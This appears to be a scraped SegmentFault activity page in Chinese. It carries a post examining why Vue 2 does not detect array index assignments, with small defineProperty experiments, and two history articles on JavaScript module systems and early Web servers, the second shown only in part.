记一次思否问答的问题思考:Vue为什么不能检测数组变动

问题来源:https://segmentfault.com/q/10...

问题描述:Vue检测数据的变动是通过Object.defineProperty实现的,所以无法监听数组的添加操作是可以理解的,因为是在构造函数中就已经为所有属性做了这个检测绑定操作。

但是官方的原文:由于 JavaScript 的限制, Vue 不能检测以下变动的数组:

当你利用索引直接设置一个项时,例如: vm.items[indexOfItem] = newValue
当你修改数组的长度时,例如: vm.items.length = newLength

这句话是什么意思?我测试了下Object.defineProperty是可以通过索引属性来设置属性的访问器属性的,那为何做不了监听?

有些论坛上的人说因为数组长度是可变的,即使长度为5,但是未必有索引4,我就想问问这个答案哪里来的,修改length,新增的元素会被添加到最后,它的值为undefined,通过索引一样可以获取他们的值,怎么就叫做“未必有索引4”了呢?

既然知道数组的长度为何不能遍历所有元素并通过索引这个属性全部添加set和get不就可以同时更新视图了吗?

如果非要说的话,考虑到性能的问题,假设元素内容只有4个有意义的值,但是长度确实1000,我们不可能为1000个元素做检测操作。但是官方说的由于JS限制,我想知道这个限制是什么内容?各位大大帮我解决下这个问题,感谢万分



面对这个问题,我想说的是,首先,长度为1000,但只有4个元素的数组并不一定会影响性能,因为js中对数据的遍历除了for循环还有forEach、map、filter、some等,除了for循环外(for,for...of),其他的遍历都是对键值的遍历,也就是除了那四个元素外的空位并不会进行遍历(执行回调),所以也就不会造成性能损耗,因为循环体中没有操作的话,所带来的性能影响可以忽略不计,下面是长度为10000,但只有两个元素的数组分别使用for及forEach遍历的结果:

var arr = [1]; arr[10000] = 1
function a(){
    console.time()
    for(var i = 0;i<arr.length;i++)console.log(1)
    console.timeEnd()
}
a(); //default: 567.1669921875ms
a(); //default: 566.2451171875ms

function b(){
    console.time()
    arr.forEach(item=>{console.log(2)})
    console.timeEnd()
}
b(); //default: 0.81982421875ms
b(); //default: 0.434814453125ms

可以看到结果非常明显,不过,如果for循环中不做操作的话两者速度差不多

其次,我要说的是,我也不知道这个限制是什么      (⇀‸↼‶)      ╮( •́ω•̀ )╭

Object.defineProperty() 方法会直接在一个对象上定义一个新属性,或者修改一个对象的现有属性, 并返回这个对象。数组的索引也是属性,所以我们是可以监听到数组元素的变化的

var arr = [1,2,3,4]
arr.forEach((item,index)=>{
    Object.defineProperty(arr,index,{
        set:function(val){
            console.log('set')
            item = val
        },
        get:function(val){
            console.log('get')
            return item
        }
    })
})
arr[1]; // get  2
arr[1] = 1; // set  1

但是我们新增一个元素,就不会触发监听事件,因为这个新属性我们并没有监听,删除一个属性也是。

再回到题主的问题,既然数组是可以被监听的,那为什么vue不能检测vm.items[indexOfItem] = newValue导致的数组元素改变呢,哪怕这个下标所对应的元素是存在的,且被监听了的?

为了搞清楚这个问题,我用vue的源码测试了下,下面是vue对数据监测的源码:
Observer

可以看到,当数据是数组时,会停止对数据属性的监测,我们修改一下源码:
修改Observer

使数据为数组时,依然监测其属性,然后在defineReactive函数中的get,set打印一些东西,方便我们知道调用了get以及set。这里加了个简单判断,只看数组元素的get,set
修改defineReactive

然后写了一个简单案例,主要测试使用vm.items[indexOfItem] = newValue改变数组元素能不能被监测到,并响应式的渲染页面
简单案例

运行页面
数组测试

可以看到,运行了6次get,我们数组长度为3,也就是说数组被遍历了两遍。两遍不多,页面渲染一次,可能多次触发一个数据的监听事件,哪怕这个数据只用了一次,具体的需要看尤大代码怎么写的。就拿这个来说,当监听的数据为数组时,会运行dependArray函数(代码在上面图中get的实现里),这个函数里对数组进行了遍历取值操作,所以会多3遍get,这里主要是vue对data中arr数组的监听触发了dependArray函数。

当我们点击其中一个元素的时候,比如我点击的是3
点击3

可以看到会先运行一次set,然后数据更新,重新渲染页面,数组又是被遍历了两遍。

但是!!!数组确实变成响应式的了,也就是说js语法功能并不会限制数组的监测。

这里我们是用长度为3的数组测试的,当我把数组长度增加到9时
新数组测试

可以看到,运行了18次get,数组还是被遍历了两遍,点击某个元素同理,渲染的时候也是被遍历两次。
新数组测试

有了上面的实验,我的结论是数组在vue中是可以实现响应式更新的,但是不明白尤大是出于什么考虑,没有加入这一功能,希望有知道的大佬们不吝赐教


2018-07-27补充

github上提问了尤大
github提问

查看原文

赞 194 收藏 114 评论 42

鸣飞 赞了文章 · 1月3日

《编程时间简史系列》JavaScript 模块化的历史进程

引言

昨天在思否上闲逛,发现了一个有意思的问题(点此传送)。

因为这个问题,我产生了写一个系列文章的想法,试图从站在历史的角度上来看待编程世界中林林总总的问题和解决方案。

目前中文网络上充斥着大量互相“转载”的内容,基本是某一个技术问题的解决方案(what?how?),却不涉及为什么这么做和历史缘由(why?when?)。比如你要搜 “JavaScript 有哪些模块化方案?它们有什么区别?”,能得到一万个有用的结果;但要想知道 “为什么 JavaScript 有这么多模块化方案?它们是谁创建的?”,却几乎不可能。

因此,这一系列文章内会尽可能的不涉及具体代码,只谈历史故事。但会在文末提供包含部分代码的参考链接,以供感兴趣的朋友自行阅读。

这个系列暂定为十篇文章,内容会涉及前端、后端、编程语言、开发工具、操作系统等等。也给自己立个 Flag,在今年年底之前把整个系列写完。如果没完成目标……就当我没说过这句话(逃

全系列索引:

  1. 《编程时间简史系列》JavaScript 模块化的历史进程
  2. 《编程时间简史系列》Web Server 编年史

正文

模块化,是前端绕不过去的话题。

随着 Node.js 和三大框架的流行,越来越多的前端开发者们脑海中都会时常浮现一个问题:

为什么 JavaScript 有这么多模块化方案?

自从 1995 年 5 月,Brendan Eich 写下了第一行 JavaScript 代码起,JavaScript 已经诞生了 25 年。

但这门语言早期仅仅作为轻量级的脚本语言,用于在 Web 上与用户进行少量的交互,并没有依赖管理的概念。

随着 AJAX 技术得以广泛使用,Web 2.0 时代迅猛发展,浏览器承载了愈来愈多的内容与逻辑,JavaScript 代码越来越复杂,全局变量冲突、依赖管理混乱等问题始终萦绕在前端开发者们的心头。此时,JavaScript 亟需一种在其他语言中早已得到良好应用的功能 —— 模块化。

其实,JavaScript 本身的标准化版本 ECMAScript 6.0 (ES6/ES2015) 中,已经提供了模块化方案,即 ES Module。但目前在 Node.js 体系下,最常见的方案其实是 CommonJS。再加上大家耳熟能详的 AMDCMDUMD,模块化的事实标准如此之多。

那么为什么有如此之多的模块化方案?它们又是在怎样的背景下诞生的?为什么没有一个方案 “千秋万代,一统江湖”?

接下来,我会按照时间顺序讲述模块化的发展历程,顺带也就回答了上述几个问题。

萌芽初现:从 YUI Library 和 jQuery 说起

时间回到 2006 年 1 月,当时还是国际互联网巨头的 Yahoo(雅虎),开源了其内部使用已久的组件库 YUI Library

YUI Library 采用了类似于 Java 命名空间的方式,来隔离各个模块之间的变量,避免全局变量造成的冲突。其写法类似于:

YUI.util.module.doSomthing();

这种写法无论是封装还是调用时都十分繁琐,而且当时的 IDE 对于 JavaScript 来说智能感知非常弱,开发者很难知道他需要的某个方法存在于哪个命名空间下,经常需要频繁地查阅开发手册,导致开发体验十分不友好。

在 YUI 发布之后不久,John Resig 发布了 jQuery。当时年仅 23 岁的他,不会知道自己这一时兴起在 BarCamp 会议上写下的代码,将占据未来十几年的 Web 领域。

jQuery 使用了一种新的组织方式,它利用了 JavaScript 的 IIFE(立即执行函数表达式)和闭包的特性,将所依赖的外部变量传给一个包装了自身代码的匿名函数,在函数内部就可以使用这些依赖,最后在函数的结尾把自身暴露给 window。这种写法被很多后来的框架所模仿,其写法类似于:

(function(root){
    // balabala
    root.jQuery = root.$ = jQuery;
})(window);

这种写法虽然灵活性大大提升,可以很方便地添加扩展,但它并未解决根本问题:所需依赖还是得外部提前提供,还是会增加全局变量。

从以上的尝试中,可以归纳出 JavaScript 模块化需要解决哪些问题:

  1. 如何给模块一个唯一标识?
  2. 如何在模块中使用依赖的外部模块?
  3. 如何安全地(不污染模块外代码)包装一个模块?
  4. 如何优雅地(不增加全局变量)把模块暴漏出去?

围绕着这些问题,JavaScript 模块化开始了一段曲折的探索之路。

探索之路:CommonJS 与 Node.js 的诞生

让我们来到 2009 年 1 月,此时距离 ES6 发布尚有 5 年的时间,但前端领域已经迫切地需要一套真正意义上的模块化方案,以解决全局变量污染和依赖管理混乱等问题。

Mozilla 旗下的工程师 Kevin Dangoor,在工作之余,与同事们一起制订了一套 JavaScript 模块化的标准规范,并取名为 ServerJS

ServerJS 最早用于服务端 JavaScript,旨在为配合自动化测试等工作而提供模块导入功能。

这里插一句题外话,其实早期 1995 年,Netsacpe(网景)公司就提供了有在服务端执行 JavaScript 能力的产品,名为 Netscape Enterprise Server。但此时服务端能做的 JavaScript 还是基于浏览器来实现的,本身没有脱离其自带的 API 范围。直到 2009 年 5 月,Node.js 诞生,赋予了其文件系统、I/O 流、网络通信等能力,才真正意义上的成为了一门服务端编程语言。

2009 年年初,Ryan Dahl 产生了创造一个跨平台编程框架的想法,想要基于 Google(谷歌)的 Chromium V8 引擎来实现。经过几个月紧张的开发工作,在 5 月中旬,Node.js 首个预览版本的开发工作已全部结束。同年 8 月,欧洲 JSConf 开发者大会上,Node.js 惊艳亮相。

但在此刻,Node.js 还没有一款包管理工具,外部依赖依然要手动下载到项目目录内再引用。欧洲 JSConf 大会结束后,Isaac Z. Schlueter 注意到了 Ryan DahlNode.js,两人一拍即合,决定开发一款包管理工具,也就是后来大名鼎鼎的 Node Package Manager(即 npm)。

在开发之初,摆在二人面前的第一个问题就是,采用何种模块化方案?。二人将目光锁定在了几个月前(2009 年 4 月)在华盛顿特区举办的美国 JSConf 大会上公布的 ServerJS。此时的 ServerJS 已经更名为 CommonJS,并重新制订了标准规范,即Modules/1.0,展现了更大的野心,企图一统所有编程语言的模块化方案。

具体来说,Modules/1.0标准规范包含以下内容:

  1. 模块的标识应遵循一定的书写规则。
  2. 定义全局函数 require(dependency),通过传入模块标识来引入其他依赖模块,执行的结果即为别的模块暴漏出来的 API。
  3. 如果被 require 函数引入的模块中也包含外部依赖,则依次加载这些依赖。
  4. 如果引入模块失败,那么 require 函数应该抛出一个异常。
  5. 模块通过变量 exports 来向外暴露 API,exports 只能是一个 object 对象,暴漏的 API 须作为该对象的属性。

由于这个规范简单而直接,Node.jsnpm 很快就决定采用这种模块化的方案。至此,第一个 JavaScript 模块化方案正式登上了历史舞台,成为前端开发中必不可少的一环。

需要注意的是,CommonJS 是一系列标准规范的统称,它包含了多个版本,从最早 ServerJS 时的 Modules/0.1,到更名为 CommonJS 后的 Modules/1.0,再到现在成为主流的 Modules/1.1。这些规范有很多具体的实现,且不只局限于 JavaScript 这一种语言,只要遵循了这一规范,都可以称之为 CommonJS。其中,Node.js 的实现叫做 Common Node ModulesCommonJS 的其他实现,感兴趣的朋友可以阅读本文最下方的参考链接。

值得一提的是,CommonJS 虽然没有进入 ECMAScript 标准范围内,但 CommonJS 项目组的很多成员,也都是 TC39(即制订 ECMAScript 标准的委员会组织)的成员。这也为日后 ES6 引入模块化特性打下了坚实的基础。

分道扬镳:CommonJS 历史路口上的抉择

在推出 Modules/1.0 规范后,CommonJSNode.js 等环境下取得了很不错的实践。

但此时的 CommonJS 有两个重要问题没能得到解决,所以迟迟不能推广到浏览器上:

  1. 由于外层没有 function 包裹,被导出的变量会暴露在全局中。
  2. 在服务端 require 一个模块,只会有磁盘 I/O,所以同步加载机制没什么问题;但如果是浏览器加载,一是会产生开销更大的网络 I/O,二是天然异步,就会产生时序上的错误。

因此,社区意识到,要想在浏览器环境中也能顺利使用 CommonJS,势必重新制订新的标准规范。但新的规范怎么制订,成为了激烈争论的焦点,分歧和冲突由此诞生,逐步形成了三大流派:

  • Modules/1.x 派:这派的观点是,既然 Modules/1.0 已经在服务器端有了很好的实践经验,那么只需要将它移植到浏览器端就好。在浏览器加载模块之前,先通过工具将模块转换成浏览器能运行的代码了。我们可以理解为他们是“保守派”。
  • Modules/Async 派:这派认为,既然浏览器环境于服务器环境差异过大,那么就不应该继续在 Modules/1.0 的基础上小修小补,应该遵循浏览器本身的特点,放弃 require 方式改为回调,将同步加载模块变为异步加载模块,这样就可以通过 ”下载 -> 回调“ 的方式,避免时序问题。我们可以理解为他们是“激进派”。
  • Modules/2.0 派:这派同样也认为不应该沿用 Modules/1.0,但也不向激进派一样过于激进,认为 require 等规范还是有可取之处,不应该随随便便放弃,而是要尽可能的保持一致;但激进派的优点也应该吸收,比如 exports 也可以导出其他类型、而不仅局限于 object 对象。我们可以理解为他们是“中间派”。

其中保守派的思路跟今天通过 babel 等工具,将 JavaScript 高版本代码转译为低版本代码如出一辙,主要目的就是为了兼容。有了这种想法,这派人马提出了 Modules/Transport 规范,用于规定模块如何转译。browserify 就是这一观点下的产物。

激进派也提出了自己的规范 Modules/AsynchronousDefinition,奈何这一派的观点并没有得到 CommonJS 社区的主流认可。

中间派同样也有自己的规范 Modules/Wrappings,但这派人马最后也不了了之,没能掀起什么风浪。

激进派、中间派与保守派的理念不和,最终为 CommonJS 社区分裂埋下伏笔。

百家争鸣:激进派 —— AMD 的崛起

激进派的 James Burke 在 2009 年 9 月开发出了 RequireJS 这一模块加载器,以实践证明自己的观点。

但激进派的想法始终得不到 CommonJS 社区主流认可。双方的分歧点主要在于执行时机问题,Modules/1.0 是延迟加载、且同一模块只执行一次,而 Modules/AsynchronousDefinition 却是提前加载,加之破坏了就近声明(就近依赖)原则,还引入了 define 等新的全局函数,双方的分歧越来越大。

最终,在 James BurkeKarl Westin 等人的带领下,激进派于同年年底宣布离开 CommonJS 社区,自立门户。

激进派在离开社区后,起初专注于 RequireJS 的开发工作,并没有过多的涉足社区工作,也没有此草新的标准规范。

2011 年 2 月,在 RequireJS 的拥趸们的共同努力下,由 Kris Zyp 起草的 Async Module Definition(简称 AMD)标准规范正式发布,并在 RequireJS 社区的基础上建立了 AMD 社区。

AMD 标准规范主要包含了以下几个内容:

  1. 模块的标识遵循 CommonJS Module Identifiers
  2. 定义全局函数 define(id, dependencies, factory),用于定义模块。dependencies 为依赖的模块数组,在 factory 中需传入形参与之一一对应。
  3. 如果 dependencies 的值中有 requireexportsmodule,则与 CommonJS 中的实现保持一致。
  4. 如果 dependencies 省略不写,则默认为 ['require', 'exports', 'module']factory 中也会默认传入三者。
  5. 如果 factory 为函数,模块可以通过以下三种方式对外暴漏 API:return 任意类型;exports.XModule = XModulemodule.exports = XModule
  6. 如果 factory 为对象,则该对象即为模块的导出值。

其中第三、四两点,即所谓的 Modules/Wrappings,是因为 AMD 社区对于要写一堆回调这种做法颇有微辞,最后 RequireJS 团队妥协,搞出这么个部分兼容支持。

因为 AMD 符合在浏览器端开发的习惯方式,也是第一个支持浏览器端的 JavaScript 模块化解决方案,RequireJS 迅速被广大开发者所接受。

但有 CommonJS 珠玉在前,很多开发者对于要写很多回调的方式颇有微词。在呼吁高涨声中,RequireJS 团队最终妥协,搞出个 Simplified CommonJS wrapping(简称 CJS)的兼容方式,即上文的第三、四两点。但由于背后实际还是 AMD,所以只是写法上做了兼容,实际上并没有真正做到 CommonJS 的延迟加载。

CommonJS 规范有众多实现不同的是,AMD 只专注于 JavaScript 语言,且实现并不多,目前只有 RequireJSDojo Toolkit,其中后者已经停止维护。

一波三折:中间派 —— CMD 的衰落

由于 AMD 的提前加载的问题,被很多开发者担心会有性能问题而吐槽。

例如,如果一个模块依赖了十个其他模块,那么在本模块的代码执行之前,要先把其他十个模块的代码都执行一遍,不管这些模块是不是马上会被用到。这个性能消耗是不容忽视的。

为了避免这个问题,上文提到,中间派试图保留 CommonJS 书写方式和延迟加载、就近声明(就近依赖)等特性,并引入异步加载机制,以适配浏览器特性。

其中一位中间派的大佬 Wes Garland,本身是 CommonJS 的主要贡献者之一,在社区中很受尊重。他在 CommonJS 的基础之上,起草了 Modules/2.0,并给出了一个名为 BravoJS 的实现。

另一位中间派大佬 @khs4473 提出了 Modules/Wrappings,并给出了一个名为 FlyScript 的实现。

Wes Garland 本人是学院派,理论功底十分扎实,但写出的作品却既不优雅也不实用。而实战派的 @khs4473 则在与 James Burke 发生了一些争论,最后删除了自己的 GitHub 仓库并停掉了 FlyScript 官网。

到此为止,中间一派基本已全军覆灭,空有理论,没有实践。

让我们前进到 2011 年 4 月,国内阿里巴巴集团的前端大佬玉伯(本名王保平),在给 RequireJS 不断提出建议却被拒绝之后,萌生了自己写一个模块加载器的想法。

在借鉴了 CommonJSAMD 等模块化方案后,玉伯写出了 SeaJS,不过这一实现并没有严格遵守 Modules/Wrappings 的规范,所以严格来说并不能称之为 Modules/2.0。在此基础上,玉伯提出了 Common Module Definition(简称 CMD)这一标准规范。

CMD 规范的主要内容与 AMD 大致相同,不过保留了 CommonJS 中最重要的延迟加载、就近声明(就近依赖)特性。

随着国内互联网公司之间的技术交流,SeaJS 在国内得到了广泛使用。不过在国外,也许是因为语言障碍等原因,并没有得到非常大范围的推广。

兼容并济:UMD 的统一

2014 年 9 月,美籍华裔 Homa Wong 提交了 UMD 第一个版本的代码。

UMDUniversal Module Definition 的缩写,它本质上并不是一个真正的模块化方案,而是将 CommonJSAMD 相结合。

UMD 作出了如下内容的规定:

  1. 优先判断是否存在 exports 方法,如果存在,则采用 CommonJS 方式加载模块;
  2. 其次判断是否存在 define 方法,如果存在,则采用 AMD 方式加载模块;
  3. 最后判断 global 对象上是否定义了所需依赖,如果存在,则直接使用;反之,则抛出异常。

这样一来,模块开发者就可以使自己的模块同时支持 CommonJSAMD 的导出方式,而模块使用者也无需关注自己依赖的模块使用的是哪种方案。

姗姗来迟:钦定的 ES6/ES2015

时间前进到 2016 年 5 月,经过了两年的讨论,ECMAScript 6.0 终于正式通过决议,成为了国际标准。

在这一标准中,首次引入了 importexport 两个 JavaScript 关键字,并提供了被称为 ES Module 的模块化方案。

在 JavaScript 出生的第 21 个年头里,JavaScript 终于迎来了属于自己的模块化方案。

但由于历史上的先行者已经占据了优势地位,所以 ES Module 迟迟没有完全替换上文提到的几种方案,甚至连浏览器本身都没有立即作出支持。

2017 年 9 月上旬,Chrome 61.0 版本发布,首次在浏览器端原生支持了 ES Module

2017 年 9 月中旬,Node.js 迅速跟随,发布了 8.5.0,以支持原生模块化,这一特性被称之为 ECMAScript Modules(简称 MJS)。不过到目前为止,这一特性还处于试验性阶段。

不过随着 babelWebpackTypeScript 等工具的兴起,前端开发者们已经不再关心以上几种方式的兼容问题,习惯写哪种就写哪种,最后由工具统一转译成浏览器所支持的方式。

因此,预计在今后很长的一段时间里,几种模块化方案都会在前端开发中共存。


尾声

本文以时间线为基准,从作者、社区、理念等几个维度谈到了 JavaScript 模块化的几大方案。

其实模块化方案远不止提到的这些,但其他的都没有这些流行,这里也就不费笔墨。

文中并没有提及各个模块化方案是如何实现的,也没有给出相关的代码示例,感兴趣的朋友可以自行阅读下方的参考阅读链接。

下面我们再总结梳理一下时间线:

时间事件
1995.05Brendan Eich 开发 JavaScript。
2006.01Yahoo 开源 YUI Library,采用命名空间方式管理模块。
2006.01John Resig 开发 jQuery,采用 IIFE + 闭包管理模块。
2009.01Kevin Dangoor 起草 ServerJS,并公布第一个版本 Modules/0.1
2009.04Kevin Dangoor 在美国 JSConf 公布 CommonJS
2009.05Ryan Dahl 开发 Node.js
2009.08Ryan Dahl 在欧洲 JSConf 公布 Node.js
2009.08Kevin DangoorServerJS 改名为 CommonJS,并起草第二个版本 Modules/1.0
2009.09James Burke 开发 RequireJS
2010.01Isaac Z. Schlueter 开发 npm,实现了基于 CommonJS 模块化方案的 Common Node Modules
2010.02Kris Zyp 起草 AMDAMD/RequireJS 社区成立。
2011.01玉伯开发 SeaJS,起草 CMDCMD/SeaJS 社区成立。
2014.08Homa Wong 开发 UMD
2015.05ES6 发布,新增特性 ES Module
2017.09ChromeNode.js 开始原生支持 ES Module

注:文章中的所有人物、事件、时间、地点,均来自于互联网公开内容,由本人进行搜集整理,其中如有谬误之处,还请多多指教。


参考阅读


首发于 Segmentfault.com,欢迎转载,转载请注明来源和作者。

RHQYZ, Write at 2020.06.24.

查看原文

赞 53 收藏 29 评论 5

鸣飞 赞了文章 · 1月3日

《编程时间简史系列》Web Server 编年史

引言

本文是《编程时间简史系列》的第二篇文章。

全系列索引:

  1. 《编程时间简史系列》JavaScript 模块化的历史进程
  2. 《编程时间简史系列》Web Server 编年史

互联网今天已经广泛存在于人们的生活中,人们的衣食住行等方方面面早已离不开互联网的支撑,这其中离不开 Web 技术的发展。

Web 是一种典型的分布式应用架构。Web 应用中的每一次信息交换都要涉及到客户端和服务端两个层面。因此,Web 开发技术大体上也可以被分为客户端技术和服务端技术两大类。

本文将会讲述 Web 服务端技术的萌芽和演进过程,旨在使读者能更清晰地掌握 Web 服务端技术的发展脉络。

Web 服务端技术的发展与客户端技术的进步是相辅相成的,本文虽是讨论 Web 服务端,在讲述过程中却不可避免地会提及一些 Web 客户端的有关内容,但不会过多深入。对此感兴趣的读者,可以自行阅读最下方的参考链接。

同样的,不谈具体代码,只聊历史故事。

P.S. 下一篇的选题还没有敲定,如果有朋友想了解某一方面的历史又苦于没有资料,可以在文章下方给我留言。


正文

广义上的 Web Server(Web 服务器),包含硬件和软件两方面。今天我们只谈及其中的软件部分,即能向客户端提供 Web 服务的程序。

现在大家耳熟能详的 ApacheIISTomcatNginx 等等,都属于 Web Server。

那么它们之间究竟有何不同?又是由谁、在什么时间发明的?我们常说的静态网页、动态网页又是指什么?HTTPd 和 Web Server 有何不同?网上总提的 libuv,它是个啥?

让我们先带着这些疑问,回到 HTTP 协议尚未诞生的时代。

时代前夜:HTML、HTTP 与万维网

1960 年,Theodor Holm Nelson 在哈佛计算机编程的选修课程上,使用了当时哈佛大学唯一可用的计算机 —— IBM 7090。在临近课程结束的时候,Theodor Holm Nelson 决定使用机器语言编写一个计算机程序,让他能够将自己的笔记和手稿存储在计算机中,可以以各种方式修改和编辑草稿,并生成可打印的最终版本。在他的项目进行到第 4 万行左右的代码时,他开始意识到,他对这项任务的完成难度最初估计得过于乐观。

1963 年,已经从哈佛大学毕业的 Theodor Holm Nelson 决定将自己大学时的想法继续进行下去。他首次提出了名为 “HyperText”(超文本)的概念,并找到了一些志同道合、痴迷计算机的朋友,成立了 Project Xanadu,试图制订规范,并应用到实际的计算机程序中。

1969 年,IBM 公司的 Charles F. Goldfarb 发明了一种可以用于描述超文本文档的描述语言 —— Generalized Markup Language(简称为 GML,通用标记语言)。在之后的几年时间里,形成了 Standard Generalized Markup Language(简称为 SGML,标准通用标记语言)的标准规范,成为了 ISO 国际标准。

制订 SGML 的基本思想是把文档的内容与样式分开。在 SGML 中,标记分两种:一种用来描述文档显示的样式,称为程序标记;另一种用来描述文档中语句的用途,称为描述标记。一个 SGML 文件通常分三个层次:结构、内容和样式。结构为组织文档的元素提供框架,内容是信息本身,样式控制内容的显示。

不过,由于 GML/SGML 过于庞大且复杂,虽然有不少大公司在内部使用,但始终没能得到广泛的应用。

暂且按下 Theodor Holm NelsonCharles F. Goldfarb 这边不表,让我们来到 1989 年。

此时已是不惑之年的 Tim Berners-Lee,负责在 CERN(欧洲粒子物理实验室)做 IT 支持工作。由于粒子物理在当时是前沿研究领域,需要全世界的物理学家合作参与,那么如何与世界各地的物理研究所保持通信,就是一件十分重要也棘手的事情。

起初,CERN 使用传真机来传输文件,但物理传输速度极慢,且会耗费大量纸张与油墨,对于信息检索工作而言也十分不便。

后来,因 ARPANET 网络在美国军方和多所大学内成功使用,CERN 也开始采用这种使用计算机网络进行通信的方式来传输数据。

但在此时,可选择的网络协议并不多。从时间顺序上来看,有:

  • 要么是 1971 年出现的 FTP,用于传输文件。但这种方式不能直接展示文本内容,而是需要下载到本地后才能打开。更何况,即是打开了文件,如果需要同时显示包含文本、图片、音频、视频等信息的多媒体内容,那么需要特定的程序才能编辑、预览。
  • 要么是 1973 年出现的 TELNET 协议,可以与远程终端进行交互。但这种操作方式极其繁琐,且对于搞科研的物理科学家而言操作并不友好,往往还需要 Theodor Holm Nelson 这样的 IT 部门来配合。
  • 要么是 1982 年出现的 SMTP,通过电子邮件进行交流。但这种方式不适合用于信息的公开展示,只适合点对点或群组之间的信息沟通。

这一年年底,Tim Berners-Lee 向其上级提出了一项名为 Information Management: A Proposal(《关于信息化管理的建议》)的提议:使来自世界各地的远程站点的研究人员能够组织和汇集信息,在个人计算机上访问大量的科研文献,并建议在文档中链接其他文档。

在参考了 Theodor Holm Nelson 有关超文本的规范、并参考了 Charles F. GoldfarbGML/SGML 实现后,Tim Berners-Lee 于 1990 年发明了 Hypertext Markup Language(简称为 HTML,超文本标记语言)和 Hypertext Transfer Protocol(简称为 HTTP,超文本传输协议)。

1990 年,Tim Berners-Lee 创建了一款最原始的 GUI 的 HTML 浏览器(同时也是编辑器),和第一个 HTTP 服务器。

1991 年,Tim Berners-Lee 作为布道者开始广泛推广 Web 的理念,提出了 World Wide Web(万维网)的概念。

值得一提的是,在这一时期,Web 领域还有其他诸如 NNTP、Gopher 等传输协议。但它们都因为种种原因,没能像 HTTP 一样流行起来,最终消失在了历史长河之中。

1993 年,NCSA(美国国家超算应用中心)对此表现出了浓厚的兴趣,并开发了名为 Mosaic 的浏览器,于当年 4 月发布。

1994 年,第一届国际万维网大会于 4 月在瑞士日内瓦召开,World Wide Web Consortium(简称为 W3C,万维网联盟)组织正式成立,并从 IETF(互联网工程任务组)接管了 HTML 的标准制订工作。

同年 6 月,IETF 非正式地指出了之前在“民间”流传的 URL(统一资源定位符)与 URN(统一资源名称)这两种叫法的存在,并进一步地定义了一个名为 Uniform Resource Identifier(简称为 URI,统一资源标识符)的规范文法。

同年 10 月,CERN 的另一位 IT 员工 Håkon Wium Lie 吸收了当时已有的一些 Web 样式的实践经验,提出并发明了 Cascading Style Sheets(简称为 CSS,层叠样式表)。

同年 11 月,Mosaic 浏览器的开发人员创立了 Netscape(网景)公司,并发布了 Mosaic Netscape 浏览器 1.0 版本,后改名为 Netscape Navigator(网景导航者)。

1995 年,W3C 制订了 HTML 2.0 标准。

同年 5 月,Netscape 公司的工程师 Brendan Eich 发明了一门名为 LiveScript 的脚本语言,可用在 Web 服务器和浏览器。在之后与 Netscape Navigator 2.0 一同发布时,被改名为 JavaScript

同年 8 月,Microsoft(微软)旗下的 Internet Explorer(简称为 IE)1.0 版本正式发布。

1996 年,IETF 将 HTTP 列为互联网标准之一,并制订了 HTTP/1.0 协议标准。

同年 12 月,W3C 将 CSS 纳入工作范围,并在随后个几个月里制订了 CSS 1 标准。

1997 年,JavaScript 被提交给 ECMA(欧洲计算机制造商协会),并最终形成了编号 262、名为 ECMAScript 的标准规范。这一规范下包含了 Netscape 1995 年发明的 JavaScript、Microsoft 1995 年发明的 JScript、Adobe 1999 年发明的 ActionScript 等几个实现。在接下来的几年时间里,这一标准规范同样被 ISO(国际标准化组织)及 IEC (国际电工委员会)所采纳。

1997 - 1999 年,HTML 3.0HTTP/1.1HTML 4.0CSS 2ECMAScript 3 等标准先后被发布,并统治了今后二十余年的互联网。

终于,Web 时代降临。

开天辟地:CERN HTTPd 和 NCSA HTTPd

HTTPd,即 HTTP daemon 的缩写。

今天我们谈到这个名词,大部分人会把它认为是 Apache 的代名词。但这其实只是个误解(原因下文会提到)。

在类 Unix 的操作系统中,一个在后端周期性地执行某种任务或等待处理理某些事件的进程,往往被称为 “Daemon Process”(守护/幽灵进程)。HTTPd 即取此意,意思就是在后台处理 HTTP 请求的程序。

因此实际上来说,HTTPd 应该是近似等同于 Web Server。在 HTTP 协议尚未出现的时代,Web Server 一般指 FTP 服务器。但 HTTP 协议出现后,Web Server 就立刻变成了指代 HTTP 服务器。今天的 Web Server 一定会、但不仅仅只会支持 HTTP 协议及其衍生协议,还可能支持诸如 FTP、SMTP、MQTT 甚至是更底层的 TCP、UDP 协议。

1990 年年底,Tim Berners-Lee 在一台运行着 NeXTSTEP 系统的 NeXT Computer 上编写了首个 HTTPd 程序,起名为 Common Library。这是一个由 C 语言编写的组件,只能处理 HTTP 请求中的 GET 谓词,并不是一个独立且完整的程序。因其属于 CERN 项目的一部分,所以也被称为 CERN HTTPd

1993 年,Tim Berners-LeeCommon Library 从 CERN 项目中独立出来,更名为 libwww 并开源。

同年,NCSA 在此基础之上扩展并开发出了 NCSA HTTPd

1994 年,libwww 的开发维护工作转交给了 W3C,在此阶段,libwww 新增了很多特性,诸如兼容 HTTP/1.0、支持 CGI、虚拟主机等。此时它也被称为 W3C HTTPd

1996 年,W3C 的工作重心已经不在 libwww 上,迟迟没有新版本发布,并最终于 2003 年宣告项目中止。

libwww 提供了基础的 HTTP 协议的解析与包装方式,既可用于服务端,也可用于服务端,被广泛地使用在包括 MosaicLynxArenaMacWWW 在内的诸多早期 Web 程序中。

胎死腹中:夭折的 Jigsaw

上一小节提到,1996 年时 W3C 的工作重心已经不在 libwww 上,因为他们已经另有其他重点工作。

由于 libwww 只能被编译到类 Unix 的操作系统中,且只支持静态网页。随着 Web 技术的不断发展,以及 Windows 系统的广泛流行,W3C 亟需一种可以跨平台的的 Web 服务器。因此,W3C 将目光放在了横空出世、发展迅猛的一种跨平台编程语言 —— Java。

W3C 联合当时的拥有 Java 的 Sun(升阳)公司,开发了一个名为 Jigsaw 的程序。

它由 Java 编写,起初只作为 JDK 1.2 版本的一个模块发布,意图让开发者能快速搭建一个跨平台 Web 服务器项目。它采用了多线程的处理方式,兼容 HTTP/1.1,支持 SSL/TLS、WebDAV 等新特性,同时也是首个支持 Servlet 和 JSP 的服务器程序。由于 Java 的跨平台特性,它可以运行在 BeOS、AS-400、AIX、Unix、Solaris 2、OS/2、MacOS、Linux、Windows 95、Windows NT 等操作系统上。

但遗憾的是,W3C 组织内的大部分成员,都是 IT 巨头公司,随着它们分别发布了各自的 Web 服务器商业产品后,Jigsaw 项目已经在事实上被废弃。虽然 W3C 没有明确地宣布项目中止,但从提交记录上来看,2007 年以后已经没有新特性被引入了,仅仅在 2007 - 2010 四年时间里修复了三五个 Bug,从此就悄无声息。

